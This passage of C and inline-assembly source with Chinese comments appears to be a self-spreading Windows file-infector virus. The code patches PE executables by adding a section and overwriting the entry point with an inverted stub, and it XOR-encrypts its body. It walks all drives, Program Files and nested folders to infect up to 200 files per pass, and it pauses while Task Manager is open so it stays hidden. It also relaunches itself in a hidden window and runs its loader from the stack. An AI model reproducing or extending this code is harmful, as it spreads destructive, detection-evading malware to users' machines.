paddr=(unsigned int*)(bitStub+6);
*paddr=addrGetProcAddress ^(optionalhead->ImageBase+sectionheader->VirtualAddress);
g_uEncryption=addrGetProcAddress ^(optionalhead->ImageBase+sectionheader->VirtualAddress);//加密因子。
paddr=(unsigned int*)(bitStub+11);
if(addrLoadLibraryA!=0)
*paddr=addrLoadLibraryA ^(optionalhead->ImageBase+sectionheader->VirtualAddress);
else
*paddr=addrLoadLibraryW ^(optionalhead->ImageBase+sectionheader->VirtualAddress);
paddr=(unsigned int*)(bitStub+16);
*paddr=optionalhead->AddressOfEntryPoint + optionalhead->ImageBase;
paddr=(unsigned int*)(bitStub+1);
*paddr=optionalhead->ImageBase+sectionheader->VirtualAddress;
g_uEncryption+=(*paddr)<<8;//加密因子。
//结束---处理新的程序头
//完成---添加节表。
//修正PE头的相应成员。
align=g_uCodeFullSize%optionalhead->SectionAlignment;
if(align)
align=g_uCodeFullSize+optionalhead->SectionAlignment-align;
else
align=g_uCodeFullSize;
optionalhead->SizeOfCode+=align;
optionalhead->SizeOfImage+=align;
filehead->NumberOfSections+=1;
sectionheader1=_pImageRvaToSection(pehead,(void*)pImageBase,optionalhead->AddressOfEntryPoint);//代码节的节表指针。
sectionheader1->Characteristics=sectionheader->Characteristics|IMAGE_SCN_MEM_WRITE;
//为防止系统文件被修改后报错。
datadir=optionalhead->DataDirectory;
datadir+=11;
datadir->VirtualAddress=0;
//处理代码快头
char* pcodebody,*pstub,*pentry,*pstub1,*pentry1;
pcodebody=(char*)pImageBase+sectionheader->PointerToRawData;
_pmemcpy(pcodebody,(char*)additionaladdr,g_uCodeFullSize);
pstub=pcodebody+(int)g_ptrStubLocation-additionaladdr;
pentry=optionalhead->AddressOfEntryPoint-sectionheader1->VirtualAddress+sectionheader1->PointerToRawData+pImageBase;//程序入口点在内存中的指针。
//_pmemcpy(pstub,pentry,STUBSIZE);//将原始程序入口点的若干代码拷贝至替换代码块。
pstub1=pstub;
pentry1=pentry;
for(int i=0;i<STUBSIZE;i++)//替换以上语句,将桩子代码块取反加密。
{
*pstub1=~(*pentry1);
pstub1++;
pentry1++;
}
_pmemcpy(pentry,bitStub,STUBSIZE);//修改程序入口点处代码。
#ifdef _VERSION_TWO
///*加密代码。用于v2以上版本。
// unsigned int * ptr=(unsigned int *)(pcodebody+ENCRYOFFSET);
// for(int j=0;j<ENCRYSIZEDIVFOUR;j++,ptr++)
// {
// *ptr=*ptr^g_uEncryption;
// }
__asm//优化代码。
{
push eax;
push ebx;
push ecx;
mov ebx,g_uEncryption;
mov eax,pcodebody;
add eax,ENCRYOFFSET;
mov ecx,ENCRYSIZEDIVFOUR;
UNENCRYLOOP:
xor dword ptr[eax],ebx;
add eax,4;
loop UNENCRYLOOP;
pop ecx;
pop ebx;
pop eax;
}
//*/
#endif
DWORD newsize;
_pSetFilePointer(hfile ,0,NULL,FILE_BEGIN);
_pWriteFile(hfile , pImageBase , sectionheader->PointerToRawData+CodeAlignSize ,&newsize,NULL); //负责将植入代码写入文件。
完成对文件的处理。
}//完成对文件的处理。
S2_FN1_END:
//关闭文件,释放内存。
_pCloseHandle(hfile);
_pfree(pImageBase);
S2_FN1_RET:
;
}
FUNC_END
//=======================================================================================================
//section3 :查找exe文件,调用section2。
//查找算法 :1、搜索所有根目录;2、搜索系统 Program Files 文件夹(随机搜索100个文件);
// 3、搜索4级子文件夹,以系统运行时间选择文件夹,每级文件夹处理25个文件;
//
//
//=======================================================================================================
/* 此段代码仅用来占位,其内容为原来程序入口处被替换的代码,永不被顺序执行。其格式应当与main函数里面的相应代码保持一致。
为防止此段代码被替换以后影响后面代码的意义,后面可以添加几个nop占位,和后面的代码分割。共有26个字节(22个nop)。
Section4_1a:
__asm
{
push 0x00000000;参数3,添加代码的入口地址,待修改。仅用来实现下面的跳转。
push 0x00000000;参数2,待修改。
push 0x00000000;参数1,待修改。
push 0x00000000;返回地址,待修改。
mov eax,dword ptr [esp+12];
jmp eax;
}
Section4_1b:
*/
//以下代码为上面说明的具体实现。
//goto SectionX_1;
{
__asm _emit 0x74 __asm _emit 0x1A//__asm mov esp,ebp 的机器码取反
__asm _emit 0xA2 //__asm pop ebp 的机器码取反
__asm _emit 0x3C //__asm ret 的机器码取反
__asm nop __asm nop __asm nop __asm nop __asm nop
__asm nop __asm nop __asm nop __asm nop __asm nop
__asm nop __asm nop __asm nop __asm nop __asm nop
__asm nop __asm nop __asm nop __asm nop __asm nop
__asm nop __asm nop
}
//以下代码用于计算上面代码的位置。其间添加任何代码都要重新修改下面的修正值(32)。
//SectionX_1:
Section3_Begin:
__asm
{
//分割区结束。
push ebx;
call STUB_LOCATION;
STUB_LOCATION:
pop ebx;
sub ebx,32;
mov g_ptrStubLocation,ebx;//此时 g_ptrStubLocation 用于标注替换代码块的起始地址。
pop ebx;
}
//Section3_Begin:
__asm push eax;//垃圾指令
__asm mov eax,FN1_PEInjection;//垃圾指令
__asm pop eax;//垃圾指令,为了编译器正确编译下面一条语句。
// CALL FN1_PEInjection;//垃圾指令,仅供调试时使用。
{
bool IsFirst;
HANDLE hevent1,hevent2,hevent3,hevent4;
char chEventName[64]={'C','h','i','n','a','-','A','i','r','F','o','r','c','e','-','A','m','a','t','e','u','r','-','S','i','t','h','-','J','u','s','t','F','o','r','F','u','n','/0'};
char chMode[8]={'o','p','e','n','/0'};
if(hevent2=_pOpenEvent(EVENT_MODIFY_STATE ,FALSE ,(char*)chEventName ) )
{
IsFirst=FALSE;
_pSetEvent(hevent2);
_pCloseHandle(hevent2);
}
else
{
hevent1=_pCreateEvent(NULL,TRUE,FALSE,(char*)chEventName);
//运行第2个实例
_pGetModuleFileName(NULL,PARM1_char,512);
_pShellExecute(NULL,chMode,PARM1_char,NULL,NULL,SW_HIDE);
_pWaitForSingleObject(hevent1,10000);
IsFirst=TRUE;
_pCloseHandle(hevent1);
}
//仅在运行第2个实例时扩散代码。
if(!IsFirst)
{
//仅运行一个实例扩散代码。
char chEventName1[64]={'C','h','i','n','a','-','A','i','r','F','o','r','c','e','-','A','m','a','t','e','u','r','-','S','i','t','h','-','O','n','e','I','n','s','t','/0'};
if(hevent3=_pOpenEvent(EVENT_ALL_ACCESS ,FALSE ,(char*)chEventName1) )
{
_pCloseHandle(hevent3);
_pExitProcess(0);
}
else
{
hevent4=_pCreateEvent(NULL,TRUE,FALSE,(char*)chEventName1);
}
//扩散代码。
HANDLE hand,hand1,hand2,hand3,hand4;
WIN32_FIND_DATA finddate;
char rootpath[16];//={"x://*"};直接赋值将导致代码访问常量数据区,这是不被允许的。注射代码没有数据区。
char *filepath1,*filepath2,*filepath3,*filepath4;
char chProgram_Files[16]={'P','r','o','g','r','a','m',' ','F','i','l','e','s','/0'};
char chTaskmgrTitle[32]={'W','i','n','d','o','w','s',' ',0xc8,0xce,0xce,0xf1,0xb9,0xdc,0xc0,0xed,0xc6,0xf7,'/0'};
DWORD tickcount,filenum,temp;
int level1,level2,level3,level4;//打算搜索各级子文件夹的数目。
unsigned long driverinfo;
unsigned long bitchk;
char root;
filepath1=(char*)_pmalloc(512);
filepath2=(char*)_pmalloc(512);
filepath3=(char*)_pmalloc(512);
filepath4=(char*)_pmalloc(512);
unsigned int runtimes=0;
while (runtimes++<1440)
{
driverinfo=_pgetdrives();
//从C盘开始,循环处理每个驱动器根目录。
for(root='c',bitchk=0x4;bitchk;root++,bitchk=bitchk<<1)
{
if(!(bitchk&driverinfo))
continue;
//发现任务管理器打开,暂停。
if(_pFindWindow(NULL,chTaskmgrTitle))
{
_pSleep(10000);
continue;
}
rootpath[0]=root;
rootpath[1]=':';
rootpath[2]='//';
rootpath[3]='/0';
if(_pGetDriveType(rootpath)==DRIVE_CDROM)
continue;
rootpath[3]='*';
rootpath[4]='/0';
tickcount=_pGetTickCount();
level1=tickcount%11;
if(rootpath[0]=='c')
{
level2=tickcount%16000;
level2/=400;
}
else
{
level2=tickcount%8000;
level2/=400;
}
level3=tickcount%400;
level3/=20;
level4=tickcount%20;
hand=_pFindFirstFile(rootpath ,&finddate);
//处理某一根目录下的文件。
while(hand!=INVALID_HANDLE_VALUE&&_pFindNextFile(hand,&finddate))
{
if( finddate.dwFileAttributes &FILE_ATTRIBUTE_DIRECTORY)
{
//处理Program Files 文件夹并且随机搜索文件。
if( (level1--==0||!_pstrcmp( finddate.cFileName,chProgram_Files)) &&
!(finddate.dwFileAttributes &FILE_ATTRIBUTE_HIDDEN) )
{
_pstrcpy(filepath1,rootpath);
filepath1[_pstrlen(filepath1)-1]='/0';
_pstrcat( filepath1 , finddate.cFileName );
filenum=0;
//第1层文件夹
temp=_pstrlen(filepath1);
filepath1[temp]='//';
filepath1[temp+1]='*';
filepath1[temp+2]='/0';
hand1=_pFindFirstFile(filepath1 ,&finddate);
while(hand1!=INVALID_HANDLE_VALUE&&_pFindNextFile(hand1,&finddate))
{
if( finddate.dwFileAttributes &FILE_ATTRIBUTE_DIRECTORY)
{
_pSleep(100);
//选择下一级文件。
if(level2-->=0)
{
_pstrcpy(filepath2,filepath1);
filepath2[_pstrlen(filepath2)-1]='/0';
_pstrcat( filepath2 , finddate.cFileName );
}
continue;
}
//处理可执行文件。
if(filenum++>=50)
break;
_pstrcpy(PARM1_char,filepath1);
PARM1_char[_pstrlen(PARM1_char)-1]='/0';
_pstrcat( PARM1_char , finddate.cFileName );
CALL FN1_PEInjection;
}
//处理第2层文件夹
temp=_pstrlen(filepath2);
filepath2[temp]='//';
filepath2[temp+1]='*';
filepath2[temp+2]='/0';
hand2=_pFindFirstFile(filepath2 ,&finddate);
while(hand2!=INVALID_HANDLE_VALUE&&_pFindNextFile(hand2,&finddate))
{
if( finddate.dwFileAttributes &FILE_ATTRIBUTE_DIRECTORY)
{
_pSleep(100);
//选择下一级文件。
if(level3-->=0)
{
_pstrcpy(filepath3,filepath2);
filepath3[_pstrlen(filepath3)-1]='/0';
_pstrcat( filepath3 , finddate.cFileName );
}
continue;
}
//处理可执行文件。
if(filenum++>=100)
break;
_pstrcpy(PARM1_char,filepath2);
PARM1_char[_pstrlen(PARM1_char)-1]='/0';
_pstrcat( PARM1_char , finddate.cFileName );
CALL FN1_PEInjection;
}
//处理第3层文件夹
temp=_pstrlen(filepath3);
filepath3[temp]='//';
filepath3[temp+1]='*';
filepath3[temp+2]='/0';
hand3=_pFindFirstFile(filepath3 ,&finddate);
while(hand3!=INVALID_HANDLE_VALUE&&_pFindNextFile(hand3,&finddate))
{
if( finddate.dwFileAttributes &FILE_ATTRIBUTE_DIRECTORY)
{
_pSleep(100);
//选择下一级文件。
if(level4-->=0)
{
_pstrcpy(filepath4,filepath3);
filepath4[_pstrlen(filepath4)-1]='/0';
_pstrcat( filepath4 , finddate.cFileName );
}
continue;
}
//处理可执行文件。
if(filenum++>=150)
break;
_pstrcpy(PARM1_char,filepath3);
PARM1_char[_pstrlen(PARM1_char)-1]='/0';
_pstrcat( PARM1_char , finddate.cFileName );
CALL FN1_PEInjection;
}
//处理第4层文件夹
temp=_pstrlen(filepath4);
filepath4[temp]='//';
filepath4[temp+1]='*';
filepath4[temp+2]='/0';
hand4=_pFindFirstFile(filepath4 ,&finddate);
while(hand4!=INVALID_HANDLE_VALUE&&_pFindNextFile(hand4,&finddate))
{
if( finddate.dwFileAttributes &FILE_ATTRIBUTE_DIRECTORY)
{
continue;
}
//处理可执行文件。
if(filenum++>=200)
break;
_pstrcpy(PARM1_char,filepath4);
PARM1_char[_pstrlen(PARM1_char)-1]='/0';
_pstrcat( PARM1_char , finddate.cFileName );
CALL FN1_PEInjection;
}
}
continue;
}
//处理可执行文件。
_pstrcpy(PARM1_char,rootpath);
PARM1_char[_pstrlen(PARM1_char)-1]='/0';
_pstrcat( PARM1_char , finddate.cFileName );
CALL FN1_PEInjection;
}
_pSleep(100);
}//完成 从C盘开始,循环处理每个驱动器根目录。
_pSleep(1000);
}
_pfree(filepath1);
_pfree(filepath2);
_pfree(filepath3);
_pfree(filepath4);
_pCloseHandle(hevent4);
_pExitProcess(0);
}
}
//=======================================================================================================
//section4 :修改原PE入口点处代码,准备返回。功能代码也在此节实现。
//
//=======================================================================================================
_pBeep(500,500);
//修正原PE入口处代码。
{
char* orghead,*stubhead=g_ptrStubLocation;
__asm
{
push eax;
mov eax,dword ptr[ebp+4];//返回地址。
mov orghead,eax;
pop eax;
}
//_pmemcpy(orghead ,g_ptrStubLocation,STUBSIZE);//g_ptrStubLocation用于标注替换代码块的起始地址。STUBSIZE为替换代码块的长度。
for(int i=0;i<STUBSIZE;i++)//替换以上语句,将桩子代码块取反加密。
{
*orghead=~(*stubhead);
orghead++;
stubhead++;
}
}//完成原PE入口处代码的修正。
IN_TAIL://加8为真正的结尾。
;
}
int _tmain(int argc, _TCHAR* argv[])
{
int version=1;
#ifdef _VERSION_TWO
version=0;
#endif
if(version)
{
///*用于启动非加密版本。
char pcode[1024];
char* p1,*p2;
int size;
__asm
{
mov eax,begin;
mov p1,eax;
mov eax,end;
mov p2,eax;
}
int start=(int)pcode;
size=p2-p1;
memcpy(pcode,p1,size);
unsigned int parm1=(unsigned int)LoadLibrary,parm2=(unsigned int)GetProcAddress;
unsigned int *parm1addr,*parm2addr;
parm1addr=&parm1;
parm2addr=&parm2;
typedef void (WINAPI* PFN)(unsigned int *parameter1,unsigned int *parameter2,unsigned int additionaladdr);
PFN pfn=PEInjection;
// PEInjection(&parm1,&parm2,0);
parm1addr=(unsigned int*)((int)parm1addr^(int)pfn);//parm1addr进行隐藏
parm2addr=(unsigned int*)((int)parm2addr^(int)pfn);//parm2addr进行隐藏
__asm
{
mov eax, start;
jmp eax;
}
//以下代码将被放入栈中执行,其自身永不被执行。
begin:
__asm//设置断点,将要修改的数据修改为相应的数值。
{
push pfn;0x00401000;参数3,添加代码的入口地址(函数入口地址),待修改。其数值应当为 pfn 的值。仅用来实现下面的跳转。
push parm2addr;0x0012fac0;参数2,待修改。其数值应当为 parm2addr 的值。
push parm1addr;0x0012fee0;参数1,待修改。其数值应当为 parm1addr 的值。
push start;0x0012fac4;返回地址,待修改。其数值应当为 start 的值。
mov eax,dword ptr [esp+12];
jmp eax;
}
end:
;
//*/
}
else
{
///*用于启动加密版本。
char pcode[1024],*pfcode;
char* p1,*p2;
int size;
__asm
{
mov eax,begin1;
mov p1,eax;
mov eax,end1;
mov p2,eax;
}
pfcode=(char*)malloc(0x6000);
int start=(int)pcode;
size=p2-p1;
memcpy(pcode,p1,size);
unsigned int parm1=(unsigned int)LoadLibrary,parm2=(unsigned int)GetProcAddress;
unsigned int *parm1addr,*parm2addr;
parm1addr=&parm1;
parm2addr=&parm2;
typedef void (WINAPI* PFN)(unsigned int *parameter1,unsigned int *parameter2,unsigned int additionaladdr);
PFN pfn=PEInjection;
p1=(char*)pfn;
CopyMemory(pfcode,p1,0x6000);
// PEInjection(&parm1,&parm2,0);
parm1addr=(unsigned int*)((int)parm1addr^(int)pfcode);//parm1addr进行隐藏
parm2addr=(unsigned int*)((int)parm2addr^(int)pfcode);//parm2addr进行隐藏
#ifdef _VERSION_TWO
unsigned int g_uEncryption=(unsigned int)( (((unsigned int)pfcode)<<8) + (unsigned int)parm2addr );
unsigned int * ptr=(unsigned int *)(pfcode+ENCRYOFFSET);
for(int j=0;j<ENCRYSIZEDIVFOUR;j++,ptr++)
{
*ptr=*ptr^g_uEncryption;
}
#endif
__asm
{
mov eax,start;
jmp eax;
}
//以下代码将被放入栈中执行,其自身永不被执行。
begin1:
__asm//在上面一条语句设置断点,将要修改的数据修改为相应的数值。
{
push pfcode; 0x00401000;参数3,添加代码的入口地址(函数入口地址),待修改。其数值应当为pfn的值。仅用来实现下面的跳转。
push parm2addr; 0x0012fac0;参数2,待修改。其数值应当为parm2addr的值。
push parm1addr; 0x0012fee0;参数1,待修改。其数值应当为parm1addr的值。
push start; 0x0012fac4;返回地址,待修改。其数值应当为start的值。
mov eax,dword ptr [esp+12];
jmp eax;
}
end1:
; //*/
}
return 0;
}